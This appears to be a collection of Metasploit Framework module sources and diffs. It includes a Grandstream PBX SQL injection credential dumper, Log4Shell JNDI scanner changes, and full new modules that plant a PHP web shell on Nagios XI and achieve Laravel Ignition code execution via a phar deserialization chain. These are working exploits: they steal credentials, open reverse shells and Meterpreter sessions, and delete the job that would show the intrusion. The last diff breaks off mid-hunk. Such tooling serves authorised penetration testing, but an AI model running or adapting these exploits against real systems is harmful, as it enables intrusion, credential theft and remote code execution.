include Rex::Proto::Http::WebSocket
include Msf::Auxiliary::Report
include Msf::Exploit::SQLi
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Grandstream UCM62xx IP PBX WebSocket Blind SQL Injection Credential Dump',
'Description' => %q{
This module uses a blind SQL injection (CVE-2020-5724) affecting the Grandstream UCM62xx
IP PBX to dump the users table. The injection occurs over a websocket at the websockify
endpoint, and specifically occurs when the user requests the challenge (as part of a
challenge and response authentication scheme). The injection is blind, but the server
response contains a different status code if the query was successful. As such, the
attacker can guess the contents of the user database. Most helpfully, the passwords are
stored in cleartext within the user table (CVE-2020-5723).
This issue was patched in Grandstream UCM62xx IP PBX firmware version 1.20.22.
},
'License' => MSF_LICENSE,
'Author' => [
'jbaines-r7' # Vulnerability discovery, original poc, and Metasploit module
],
'References' => [
[ 'CVE', '2020-5724' ],
[ 'CVE', '2020-5723'],
[ 'URL', 'https://firmware.grandstream.com/Release_Note_UCM6xxx_1.0.20.22.pdf'],
[ 'URL', 'https://raw.githubusercontent.com/tenable/poc/master/grandstream/ucm62xx/dump_http_user_creds.py']
],
'DisclosureDate' => '2020-03-30',
'DefaultOptions' => {
'RPORT' => 8089,
'SSL' => true
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [],
'Reliability' => []
}
)
)
register_options([
OptString.new('TARGETURI', [true, 'Base path', '/'])
])
end
# Craft the SQL injection into the challenge request
def create_injection_request(query)
id = Rex::Text.rand_text_alphanumeric(12)
req = "{\"type\":\"request\",\"message\":{\"transactionid\":\"#{id}\",\"version\":\"1.0\",\"action\":\"challenge\",\"username\":\""
req.concat("\' OR ")
req.concat(query)
req.concat('--"}}')
req
end
# Retrieve the server's response and pull out the status response. The return value is
# the server's response value (or 1 on failure).
def recv_wsframe_status(wsock)
res = wsock.get_wsframe
return 1 unless res
begin
res_json = JSON.parse(res.payload_data)
rescue JSON::ParserError
fail_with(Failure::UnexpectedReply, 'Failed to parse the returned JSON response.')
end
status = res_json.dig('message', 'status')
return 1 if status.nil?
status
end
# Extract the version from the cgi endpoint and compare against the
# known patched version (1.0.20.22)
def check
normalized_uri = normalize_uri(target_uri.path, '/cgi')
print_status("Requesting version information from #{normalized_uri}")
res = send_request_cgi({
'method' => 'POST',
'uri' => normalized_uri,
'vars_post' => { 'action' => 'getInfo' }
})
return Exploit::CheckCode::Unknown('No response from target!') unless res && (res.code == 200)
body_json = res.get_json_document
return Exploit::CheckCode::Unknown("Got response from target but it didn't contain a JSON body!") if body_json.empty?
prog_version = body_json.dig('response', 'prog_version')
return Exploit::CheckCode::Unknown('JSON response obtained from target, but no prog_version field could be found!') if prog_version.nil?
if Rex::Version.new(prog_version) < Rex::Version.new('1.0.20.22')
return Exploit::CheckCode::Appears("The self-reported version is: #{prog_version}")
end
Exploit::CheckCode::Safe("The self-reported version is: #{prog_version}")
end
def run
sqli = create_sqli(dbms: SQLitei::BooleanBasedBlind) do |payload|
wsock = connect_ws(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, '/websockify')
)
wsock.put_wstext(create_injection_request(payload))
recv_wsframe_status(wsock) == 0
rescue Rex::Proto::Http::WebSocket::ConnectionError => e
res = e.http_response
fail_with(Failure::Unreachable, e.message) if res.nil?
fail_with(Failure::Unknown, e.message)
end
users = sqli.dump_table_fields('users', ['user_name', 'user_password'])
users.each do |user|
print_status("Found the following username and password: #{user[0]} - #{user[1]}")
store_valid_credential(user: user[0], private: user[1])
end
end
end

View File

@ -6,7 +6,7 @@
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::LDAP::Server
include Msf::Exploit::Remote::Log4Shell
include Msf::Auxiliary::Scanner
def initialize
@ -67,65 +67,38 @@ class MetasploitModule < Msf::Auxiliary
])
end
def jndi_string(resource)
"${jndi:ldap://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}/#{resource}/${sys:java.vendor}_${sys:java.version}}"
def log4j_jndi_string(resource = '')
super(resource + '/${sys:java.vendor}_${sys:java.version}')
end
#
# Handle incoming requests via service mixin
#
def on_dispatch_request(client, data)
return if data.strip.empty?
data.extend(Net::BER::Extensions::String)
begin
pdu = Net::LDAP::PDU.new(data.read_ber!(Net::LDAP::AsnSyntax))
vprint_status("LDAP request data remaining: #{data}") if !data.empty?
resp = case pdu.app_tag
when Net::LDAP::PDU::BindRequest # bind request
client.authenticated = true
service.encode_ldap_response(
pdu.message_id,
Net::LDAP::ResultCodeSuccess,
'',
'',
Net::LDAP::PDU::BindResult
)
when Net::LDAP::PDU::SearchRequest # search request
if client.authenticated || datastore['LDAP_AUTH_BYPASS']
# Perform query against some loaded LDIF structure
treebase = pdu.search_parameters[:base_object].to_s
token, java_version = treebase.split('/', 2)
target_info = @mutex.synchronize { @tokens.delete(token) }
if target_info
@mutex.synchronize { @successes << target_info }
details = normalize_uri(target_info[:target_uri]).to_s
details << " (header: #{target_info[:headers].keys.first})" unless target_info[:headers].nil?
details << " (java: #{java_version})" unless java_version.blank?
peerinfo = "#{target_info[:rhost]}:#{target_info[:rport]}"
print_good("#{peerinfo.ljust(21)} - Log4Shell found via #{details}")
report_vuln(
host: target_info[:rhost],
port: target_info[:rport],
info: "Module #{fullname} detected Log4Shell vulnerability via #{details}",
name: name,
refs: references
)
end
nil
else
service.encode_ldap_response(pdu.message_id, 50, '', 'Not authenticated', Net::LDAP::PDU::SearchResult)
end
else
vprint_status("Client sent unexpected request #{tag}")
client.close
end
resp.nil? ? client.close : on_send_response(client, resp)
rescue StandardError => e
print_error("Failed to handle LDAP request due to #{e}")
client.close
def build_ldap_search_response(msg_id, base_dn)
token, java_version = base_dn.split('/', 2)
target_info = @mutex.synchronize { @tokens.delete(token) }
if target_info
@mutex.synchronize { @successes << target_info }
details = normalize_uri(target_info[:target_uri]).to_s
details << " (header: #{target_info[:headers].keys.first})" unless target_info[:headers].nil?
details << " (java: #{java_version})" unless java_version.blank?
peerinfo = "#{target_info[:rhost]}:#{target_info[:rport]}"
print_good("#{peerinfo.ljust(21)} - Log4Shell found via #{details}")
report_vuln(
host: target_info[:rhost],
port: target_info[:rport],
info: "Module #{fullname} detected Log4Shell vulnerability via #{details}",
name: name,
refs: references
)
end
resp
attrs = [ ]
appseq = [
base_dn.to_ber,
attrs.to_ber_sequence
].to_ber_appsequence(Net::LDAP::PDU::SearchReturnedData)
[ msg_id.to_ber, appseq ].to_ber_sequence
end
def rand_text_alpha_lower_numeric(len, bad = '')
@ -136,10 +109,16 @@ class MetasploitModule < Msf::Auxiliary
end
def run
fail_with(Failure::BadConfig, 'The SRVHOST option must be set to a routable IP address.') if ['0.0.0.0', '::'].include?(datastore['SRVHOST'])
validate_configuration!
@mutex = Mutex.new
@mutex.extend(::Rex::Ref)
@tokens = {}
@tokens.extend(::Rex::Ref)
@successes = []
@successes.extend(::Rex::Ref)
begin
start_service
rescue Rex::BindFailed => e
@ -155,26 +134,7 @@ class MetasploitModule < Msf::Auxiliary
return Exploit::CheckCode::Unknown
end
return Exploit::CheckCode::Vulnerable(details: @successes)
ensure
stop_service
end
def replicant
#
# WARNING: This is a horrible pattern and should not be copy-pasted into new code. A better solution is currently
# in the works to address service / socket replication as it affects scanner modules.
#
service = @service
@service = nil
obj = super
@service = service
# but do copy the tokens and mutex to the new object
obj.mutex = @mutex
obj.tokens = @tokens
obj.successes = @successes
obj
Exploit::CheckCode::Vulnerable(details: @successes)
end
def run_host(ip)
@ -190,7 +150,7 @@ class MetasploitModule < Msf::Auxiliary
if uri.include?('${jndi:uri}')
token = rand_text_alpha_lower_numeric(8..32)
jndi = jndi_string(token)
jndi = log4j_jndi_string(token)
uri.delete_prefix!('/')
test(token, uri: normalize_uri(target_uri, '') + uri.gsub('${jndi:uri}', Rex::Text.uri_encode(jndi)))
else
@ -203,7 +163,7 @@ class MetasploitModule < Msf::Auxiliary
# HTTP_HEADER isn't exposed via the datastore but allows other modules to leverage this one to test a specific value
unless datastore['HTTP_HEADER'].blank?
token = rand_text_alpha_lower_numeric(8..32)
test(token, uri: uri, headers: { datastore['HTTP_HEADER'] => jndi_string(token) })
test(token, uri: uri, headers: { datastore['HTTP_HEADER'] => log4j_jndi_string(token) })
end
unless datastore['HEADERS_FILE'].blank?
@ -212,16 +172,16 @@ class MetasploitModule < Msf::Auxiliary
next if header.blank? || header.start_with?('#')
token = rand_text_alpha_lower_numeric(8..32)
test(token, uri: uri, headers: { header => jndi_string(token) })
test(token, uri: uri, headers: { header => log4j_jndi_string(token) })
end
end
token = rand_text_alpha_lower_numeric(8..32)
jndi = jndi_string(token)
jndi = log4j_jndi_string(token)
test(token, uri: normalize_uri(uri, Rex::Text.uri_encode(jndi.gsub('ldap://', 'ldap:${::-/}/')), '/'))
token = rand_text_alpha_lower_numeric(8..32)
jndi = jndi_string(token)
jndi = log4j_jndi_string(token)
test(token, uri: normalize_uri(uri, Rex::Text.uri_encode(jndi.gsub('ldap://', 'ldap:${::-/}/'))))
end

View File

@ -27,7 +27,8 @@ class MetasploitModule < Msf::Auxiliary
['CVE', '2019-15949'],
['CVE', '2020-5791'],
['CVE', '2020-5792'],
['CVE', '2020-35578']
['CVE', '2020-35578'],
['CVE', '2021-37343']
]
)
register_options [

View File

@ -73,7 +73,7 @@ class MetasploitModule < Msf::Exploit::Local
def exploit
local_file = File.join(Msf::Config.data_directory, "exploits", "CVE-2019-2215", "exploit")
exploit_data = File.read(local_file, { :mode => 'rb' })
exploit_data = File.read(local_file, mode: 'rb')
workingdir = session.fs.dir.getwd
exploit_file = "#{workingdir}/.#{Rex::Text::rand_text_alpha_lower(5)}"

View File

@ -162,7 +162,7 @@ class MetasploitModule < Msf::Exploit::Local
print_status("Using target: #{my_target.name}")
local_file = File.join(Msf::Config.data_directory, "exploits", "CVE-2014-3153.so")
exploit_data = File.read(local_file, { :mode => 'rb' })
exploit_data = File.read(local_file, mode: 'rb')
# Substitute the exploit shellcode with our own
space = payload_space

View File

@ -61,7 +61,7 @@ class MetasploitModule < Msf::Exploit::Local
def exploit
local_file = File.join(Msf::Config.data_directory, "exploits", "CVE-2013-6282.so")
exploit_data = File.read(local_file, { :mode => 'rb' })
exploit_data = File.read(local_file, mode: 'rb')
space = payload_space
payload_encoded = payload.encoded

View File

@ -60,7 +60,7 @@ class MetasploitModule < Msf::Exploit::Remote
if request.uri =~ %r{/loader32$}
print_good("armle target is vulnerable.")
local_file = File.join( Msf::Config.data_directory, "exploits", "CVE-2016-4655", "exploit32" )
loader_data = File.read(local_file, {:mode => 'rb'})
loader_data = File.read(local_file, mode: 'rb')
srvhost = Rex::Socket.resolv_nbo_i(srvhost_addr)
config = [srvhost, srvport].pack("Nn") + payload_url
payload_url_index = loader_data.index('PAYLOAD_URL')
@ -70,12 +70,12 @@ class MetasploitModule < Msf::Exploit::Remote
elsif request.uri =~ %r{/loader64$}
print_good("aarch64 target is vulnerable.")
local_file = File.join( Msf::Config.data_directory, "exploits", "CVE-2016-4655", "loader" )
loader_data = File.read(local_file, {:mode => 'rb'})
loader_data = File.read(local_file, mode: 'rb')
send_response(cli, loader_data, {'Content-Type'=>'application/octet-stream'})
return
elsif request.uri =~ %r{/exploit64$}
local_file = File.join( Msf::Config.data_directory, "exploits", "CVE-2016-4655", "exploit" )
loader_data = File.read(local_file, {:mode => 'rb'})
loader_data = File.read(local_file, mode: 'rb')
payload_url_index = loader_data.index('PAYLOAD_URL')
loader_data[payload_url_index, payload_url.length] = payload_url
send_response(cli, loader_data, {'Content-Type'=>'application/octet-stream'})

View File

@ -0,0 +1,238 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HTTP::NagiosXi
include Msf::Exploit::CmdStager
include Msf::Exploit::FileDropper
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Nagios XI Autodiscovery Webshell Upload',
'Description' => %q{
This module exploits a path traversal issue in Nagios XI before version 5.8.5 (CVE-2021-37343).
The path traversal allows a remote and authenticated administrator to upload a PHP web shell
and execute code as `www-data`. The module achieves this by creating an autodiscovery job
with an `id` field containing a path traversal to a writable and remotely accessible directory,
and `custom_ports` field containing the web shell. A cron file will be created using the chosen
path and file name, and the web shell is embedded in the file.
After the web shell has been written to the victim, this module will then use the web shell to
establish a Meterpreter session or a reverse shell. By default, the web shell is deleted by
the module, and the autodiscovery job is removed as well.
},
'License' => MSF_LICENSE,
'Author' => [
'Claroty Team82', # vulnerability discovery
'jbaines-r7' # metasploit module
],
'References' => [
['CVE', '2021-37343'],
['URL', 'https://claroty.com/2021/09/21/blog-research-securing-network-management-systems-nagios-xi/']
],
'DisclosureDate' => '2021-07-15',
'Platform' => ['unix', 'linux'],
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
'Privileged' => false,
'Targets' => [
[
'Unix Command',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :unix_cmd,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/reverse_openssl'
},
'Payload' => {
'Append' => ' & disown'
}
}
],
[
'Linux Dropper',
{
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64],
'Type' => :linux_dropper,
'CmdStagerFlavor' => [ 'printf' ],
'DefaultOptions' => {
'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp'
}
}
]
],
'DefaultTarget' => 1,
'DefaultOptions' => {
'RPORT' => 443,
'SSL' => true,
'MeterpreterTryToFork' => true
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
}
)
)
register_options [
OptString.new('USERNAME', [true, 'Username to authenticate with', 'nagiosadmin']),
OptString.new('PASSWORD', [true, 'Password to authenticate with', nil]),
OptInt.new('DEPTH', [true, 'The depth of the path traversal', 10]),
OptString.new('WEBSHELL_NAME', [false, 'The name of the uploaded webshell. This value is random if left unset', nil]),
OptBool.new('DELETE_WEBSHELL', [true, 'Indicates if the webshell should be deleted or not.', true])
]
@webshell_uri = '/includes/components/highcharts/exporting-server/temp/'
@webshell_path = '/usr/local/nagiosxi/html/includes/components/highcharts/exporting-server/temp/'
end
# Authenticate and grab the version from the dashboard. Store auth cookies for later user.
def check
login_result, res_array = nagios_xi_login(datastore['USERNAME'], datastore['PASSWORD'], false)
case login_result
when 1..3 # An error occurred
return CheckCode::Unknown(res_array[0])
when 4
return CheckCode::Detected('Nagios is not fully installed.')
when 5
return CheckCode::Detected('The Nagios license has not been signed.')
end
# res_array[1] cannot be nil since the mixin checks for that already.
@auth_cookies = res_array[1]
nagios_version = nagios_xi_version(res_array[0])
if nagios_version.nil?
return CheckCode::Detected('Unable to obtain the Nagios XI version from the dashboard')
end
# affected versions are 5.2.0 -> 5.8.4
if Rex::Version.new(nagios_version) < Rex::Version.new('5.8.5') &&
Rex::Version.new(nagios_version) >= Rex::Version.new('5.2.0')
return CheckCode::Appears("Determined using the self-reported version: #{nagios_version}")
end
CheckCode::Safe("Determined using the self-reported version: #{nagios_version}")
end
# Using the path traversal, upload a php webshell to the remote target
def drop_webshell
autodisc_uri = normalize_uri(target_uri.path, '/includes/components/autodiscovery/')
print_status("Attempting to grab a CSRF token from #{autodisc_uri}")
res = send_request_cgi({
'method' => 'GET',
'uri' => autodisc_uri,
'cookie' => @auth_cookies,
'vars_get' => {
'mode' => 'newjob'
}
})
fail_with(Failure::Disconnected, 'Connection failed') unless res
fail_with(Failure::UnexpectedReply, "Unexpected HTTP status code #{res.code}") unless res.code == 200
fail_with(Failure::UnexpectedReply, 'Unexpected HTTP body') unless res.body.include?('<title>New Auto-Discovery Job')
# snag the nsp token from the response
nsp = get_nsp(res)
fail_with(Failure::Unknown, 'Failed to obtain the nsp token which is required to upload the web shell') if nsp.blank?
# drop a basic web shell on the server
webshell_location = normalize_uri(target_uri.path, "#{@webshell_uri}#{@webshell_name}")
print_status("Uploading webshell to #{webshell_location}")
php_webshell = '<?php if(isset($_GET["cmd"])) { system($_GET["cmd"]); } ?>'
payload = 'update=1&' \
"job=#{'../' * datastore['DEPTH']}#{@webshell_path}#{@webshell_name}&" \
"nsp=#{nsp}&" \
'address=127.0.0.1%2F0&' \
'frequency=Yearly&' \
"custom_ports=#{php_webshell}&"
res = send_request_cgi({
'method' => 'POST',
'uri' => autodisc_uri,
'cookie' => @auth_cookies,
'vars_get' => {
'mode' => 'newjob'
},
'data' => payload
})
fail_with(Failure::Disconnected, 'Connection failed') unless res
fail_with(Failure::UnexpectedReply, "Unexpected HTTP status code #{res.code}") unless res.code == 302
# Test the web shell installed by echoing a random string and ensure it appears in the res.body
print_status('Testing if web shell installation was successful')
rand_data = Rex::Text.rand_text_alphanumeric(16..32)
res = execute_via_webshell("echo #{rand_data}")
fail_with(Failure::UnexpectedReply, 'Web shell execution did not appear to succeed.') unless res.body.include?(rand_data)
print_good("Web shell installed at #{webshell_location}")
# This is a great place to leave a web shell for persistence since it doesn't require auth
# to touch it. By default, we'll clean this up but the attacker has to option to leave it
if datastore['DELETE_WEBSHELL']
register_file_for_cleanup("#{@webshell_path}#{@webshell_name}")
end
end
# Successful exploitation creates a new job in the autodiscovery view. This function deletes
# the job that there is no evidence of exploitation in the UI.
def cleanup_job
print_status('Deleting autodiscovery job')
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/includes/components/autodiscovery/'),
'cookie' => @auth_cookies,
'vars_get' => {
'mode' => 'deletejob',
'job' => "#{'../' * datastore['DEPTH']}#{@webshell_path}#{@webshell_name}"
}
})
fail_with(Failure::Disconnected, 'Connection failed') unless res
fail_with(Failure::UnexpectedReply, "Unexpected HTTP status code #{res.code}") unless res&.code == 302
end
# Executes commands via the uploaded webshell
def execute_via_webshell(cmd)
cmd = Rex::Text.uri_encode(cmd)
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, "/includes/components/highcharts/exporting-server/temp/#{@webshell_name}?cmd=#{cmd}")
})
fail_with(Failure::Disconnected, 'Connection failed') unless res
fail_with(Failure::UnexpectedReply, "Unexpected HTTP status code #{res.code}") unless res.code == 200
res
end
def execute_command(cmd, _opts = {})
execute_via_webshell(cmd)
end
def exploit
# create a randomish web shell name if the user doesn't specify one
@webshell_name = datastore['WEBSHELL_NAME'] || "#{Rex::Text.rand_text_alpha(5..12)}.php"
drop_webshell
print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
case target['Type']
when :unix_cmd
execute_command(payload.encoded)
when :linux_dropper
execute_cmdstager
end
ensure
cleanup_job
end
end

View File

@ -5,7 +5,7 @@
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::JndiInjection
include Msf::Exploit::Remote::Log4Shell
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::CheckModule
prepend Msf::Exploit::Remote::AutoCheck
@ -195,7 +195,7 @@ class MetasploitModule < Msf::Exploit::Remote
send_request_raw(
'uri' => normalize_uri(target_uri),
'method' => datastore['HTTP_METHOD'],
'headers' => { http_header => jndi_string }
'headers' => { http_header => log4j_jndi_string }
)
sleep(datastore['WfsDelay'])
handler

View File

@ -5,7 +5,7 @@
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::JndiInjection
include Msf::Exploit::Remote::Log4Shell
include Msf::Exploit::Remote::HttpClient
prepend Msf::Exploit::Remote::AutoCheck
@ -124,7 +124,7 @@ class MetasploitModule < Msf::Exploit::Remote
'data' => {
'username' => rand_text_alphanumeric(8..16), # can not be blank!,
'password' => rand_text_alphanumeric(8..16), # can not be blank!
'remember' => jndi_string,
'remember' => log4j_jndi_string,
'strict' => true
}.to_json
)

View File

@ -5,7 +5,7 @@
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::JndiInjection
include Msf::Exploit::Remote::Log4Shell
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::CheckModule
prepend Msf::Exploit::Remote::AutoCheck
@ -117,7 +117,7 @@ class MetasploitModule < Msf::Exploit::Remote
# HTTP request initiator
send_request_cgi(
'uri' => normalize_uri(target_uri, 'websso', 'SAML2', 'SSO', tenant) + '?SAMLRequest=',
'headers' => { 'X-Forwarded-For' => jndi_string }
'headers' => { 'X-Forwarded-For' => log4j_jndi_string }
)
end

View File

@ -0,0 +1,226 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Unauthenticated remote code execution in Ignition',
'Description' => %q{
Ignition before 2.5.2, as used in Laravel and other products,
allows unauthenticated remote attackers to execute arbitrary code
because of insecure usage of file_get_contents() and file_put_contents().
This is exploitable on sites using debug mode with Laravel before 8.4.2.
},
'Author' => [
'Heyder Andrade <eu[at]heyderandrade.org>', # module development and debugging
'ambionics' # discovered
],
'License' => MSF_LICENSE,
'References' => [
['CVE', '2021-3129'],
['URL', 'https://www.ambionics.io/blog/laravel-debug-rce']
],
'DisclosureDate' => '2021-01-13',
'Platform' => %w[unix linux macos win],
'Targets' => [
[
'Unix (In-Memory)',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :unix_memory,
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' }
}
],
[
'Windows (In-Memory)',
{
'Platform' => 'win',
'Arch' => ARCH_CMD,
'Type' => :win_memory,
'DefaultOptions' => { 'PAYLOAD' => 'cmd/windows/reverse_powershell' }
}
]
],
'Privileged' => false,
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS]
}
)
)
register_options([
OptString.new('TARGETURI', [true, 'Ignition execute solution path', '/_ignition/execute-solution']),
OptString.new('LOGFILE', [false, 'Laravel log file absolute path'])
])
end
def check
print_status("Checking component version to #{datastore['RHOST']}:#{datastore['RPORT']}")
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path.to_s),
'method' => 'PUT'
}, 1)
# Check whether it is using facade/ignition
# If is using it should respond method not allowed
# checking if debug mode is enable
if res && res.code == 405 && res.body.match(/label:"(Debug)"/)
vprint_status 'Debug mode is enabled.'
# check version
versions = JSON.parse(
res.body.match(/.+"report":(\{.*),"exception_class/).captures.first.gsub(/$/, '}')
)
version = Rex::Version.new(versions['framework_version'])
vprint_status "Found PHP #{versions['language_version']} running Laravel #{version}"
# to be sure that it is vulnerable we could try to cleanup the log files (invalid and valid)
# but it is way more intrusive than just checking the version moreover we would need to call
# the find_log_file method before, meaning four requests more.
return Exploit::CheckCode::Appears if version <= Rex::Version.new('8.26.1')
end
return Exploit::CheckCode::Safe
end
def exploit
@logfile = datastore['LOGFILE'] || find_log_file
fail_with(Failure::BadConfig, 'Log file is required, however it was neither defined nor automatically detected.') unless @logfile
clear_log
put_payload
convert_to_phar
run_phar
handler
clear_log
end
def find_log_file
vprint_status 'Trying to detect log file'
res = post Rex::Text.rand_text_alpha_upper(12)
if res.code == 500 && res.body.match(%r{"file":"(\\/[^"]+?)/vendor\\/[^"]+?})
logpath = Regexp.last_match(1).gsub(/\\/, '')
vprint_status "Found directory candidate #{logpath}"
logfile = "#{logpath}/storage/logs/laravel.log"
vprint_status "Checking if #{logfile} exists"
res = post logfile
if res.code == 200
vprint_status "Found log file #{logfile}"
return logfile
end
vprint_error "Log file does not exist #{logfile}"
return
end
vprint_error 'Unable to automatically find the log file. To continue set LOGFILE manually'
return
end
def clear_log
res = post "php://filter/read=consumed/resource=#{@logfile}"
# guard clause when trying to exploit a target that is not vulnerable (set ForceExploit true)
fail_with(Failure::UnexpectedReply, "Log file #{@logfile} doesn't seem to exist.") unless res.code == 200
end
def put_payload
post format_payload
post Rex::Text.rand_text_alpha_upper(2)
end
def convert_to_phar
filters = %w[
convert.quoted-printable-decode
convert.iconv.utf-16le.utf-8
convert.base64-decode
].join('|')
post "php://filter/write=#{filters}/resource=#{@logfile}"
end
def run_phar
post "phar://#{@logfile}/#{Rex::Text.rand_text_alpha_lower(4..6)}.txt"
# resp.body.match(%r{^(.*)\n<!doctype html>})
# $1 ? print_good($1) : nil
end
def body_template(data)
{
solution: 'Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution',
parameters: {
viewFile: data,
variableName: Rex::Text.rand_text_alpha_lower(4..12)
}
}.to_json
end
def post(data)
send_request_cgi({
'uri' => normalize_uri(target_uri.path.to_s),
'method' => 'POST',
'data' => body_template(data),
'ctype' => 'application/json',
'headers' => {
'Accept' => '*/*',
'Accept-Encoding' => 'gzip, deflate'
}
})
end
def generate_phar(pop)
file = Rex::Text.rand_text_alpha_lower(8)
stub = "<?php __HALT_COMPILER(); ?>\r\n"
file_contents = Rex::Text.rand_text_alpha_lower(20)
file_crc32 = Zlib.crc32(file_contents) & 0xffffffff
manifest_len = 40 + pop.length + file.length
phar = stub
phar << [manifest_len].pack('V') # length of manifest in bytes
phar << [0x1].pack('V') # number of files in the phar
phar << [0x11].pack('v') # api version of the phar manifest
phar << [0x10000].pack('V') # global phar bitmapped flags
phar << [0x0].pack('V') # length of phar alias
phar << [pop.length].pack('V') # length of phar metadata
phar << pop # pop chain
phar << [file.length].pack('V') # length of filename in the archive
phar << file # filename
phar << [file_contents.length].pack('V') # length of the uncompressed file contents
phar << [0x0].pack('V') # unix timestamp of file set to Jan 01 1970.
phar << [file_contents.length].pack('V') # length of the compressed file contents
phar << [file_crc32].pack('V') # crc32 checksum of un-compressed file contents
phar << [0x1b6].pack('V') # bit-mapped file-specific flags
phar << [0x0].pack('V') # serialized File Meta-data length
phar << file_contents # serialized File Meta-data
phar << [Rex::Text.sha1(phar)].pack('H*') # signature
phar << [0x2].pack('V') # signiture type
phar << 'GBMB' # signature presence
return phar
end
def format_payload
# rubocop:disable Style/StringLiterals
serialize = "a:2:{i:7;O:31:\"GuzzleHttp\\Cookie\\FileCookieJar\""
serialize << ":1:{S:41:\"\\00GuzzleHttp\\5cCookie\\5cFileCookieJar\\00filename\";"
serialize << "O:38:\"Illuminate\\Validation\\Rules\\RequiredIf\""
serialize << ":1:{S:9:\"condition\";a:2:{i:0;O:20:\"PhpOption\\LazyOption\""
serialize << ":2:{S:30:\"\\00PhpOption\\5cLazyOption\\00callback\";"
serialize << "S:6:\"system\";S:31:\"\\00PhpOption\\5cLazyOption\\00arguments\";"
serialize << "a:1:{i:0;S:#{payload.encoded.length}:\"#{payload.encoded}\";}}i:1;S:3:\"get\";}}}i:7;i:7;}"
# rubocop:enable Style/StringLiterals
phar = generate_phar(serialize)
b64_gadget = Base64.strict_encode64(phar).gsub('=', '')
payload_data = b64_gadget.each_char.collect { |c| c + '=00' }.join
return Rex::Text.rand_text_alpha_upper(100) + payload_data + '=00'
end
end

View File

@ -44,6 +44,7 @@ class MetasploitModule < Msf::Exploit::Remote
},
'Privileged' => true,
'Platform' => 'win',
'Arch' => [ARCH_X86, ARCH_X64],
'Stance' => Msf::Exploit::Stance::Aggressive,
'Targets' =>
[

View File

@ -60,7 +60,8 @@ class MetasploitModule < Msf::Exploit::Remote
OptString.new('SHARE', [true, 'The share to connect to', 'ADMIN$']),
OptString.new('INTERFACE', [true, 'The name of the interface']),
OptString.new('DefangedMode', [true, 'Run in defanged mode', true]),
OptString.new('DisableFwd', [true, 'Disable packet forwarding on port 445', true])
OptString.new('DisableFwd', [true, 'Disable packet forwarding on port 445', true]),
OptBool.new('ConfirmServerDialect', [true, 'Confirm the server supports an SMB2 dialect.'])
# For future cross LAN work:
# OptString.new('GATEWAY', [ true, "The network gateway ip address" ])
]
@ -85,8 +86,13 @@ class MetasploitModule < Msf::Exploit::Remote
end
print_good('INFO : Warming up...')
print_error('WARNING : Not running as Root. This can cause socket permission issues.') unless Process.uid == 0
@sessions = {}
@mutex = Mutex.new
@sessions = []
@sessions_mutex = Mutex.new
@drop_packet_ip_port_map = {}
@drop_packet_ip_port_mutex = Mutex.new
@negotiated_dialect_map = {}
@negotiated_dialect_mutex = Mutex.new
@confirm_server_dialect = datastore['ConfirmServerDialect'] || false
@arp_cache = {}
@arp_mutex = Mutex.new
@main_threads = []
@ -184,32 +190,10 @@ class MetasploitModule < Msf::Exploit::Remote
c.stream.setfilter("ether dst #{@mac} and not ether src #{@mac} and dst port 445 and tcp[tcpflags] & (tcp-syn) != 0 and tcp[tcpflags] & (tcp-ack) == 0")
c.stream.each_data do |data|
packet = PacketFu::Packet.parse(data)
exists = @mutex.synchronize do
@sessions[packet.ip_header.ip_daddr] # Prevent erasing existing sessions.
end
if exists
tcp_src = @mutex.synchronize do
@sessions[packet.ip_header.ip_daddr][:tcp_src]
end
if tcp_src != packet.tcp_header.tcp_src
packet.eth_header.eth_src = Rex::Socket.eth_aton(@mac)
packet.eth_header.eth_dst = Rex::Socket.eth_aton(getarp(packet.ip_header.ip_daddr))
packet.to_w(@interface)
end
else
dstmac = getarp(packet.ip_header.ip_daddr)
#puts "Got dstmac: #{dstmac.inspect}"
@mutex.synchronize do
@sessions[packet.ip_header.ip_daddr] = {}
@sessions[packet.ip_header.ip_daddr][:tcp_src] = packet.tcp_header.tcp_src
@sessions[packet.ip_header.ip_daddr][:acknum] = packet.tcp_header.tcp_ack
@sessions[packet.ip_header.ip_daddr][:seqnum] = packet.tcp_header.tcp_seq
@sessions[packet.ip_header.ip_daddr][:active] = true
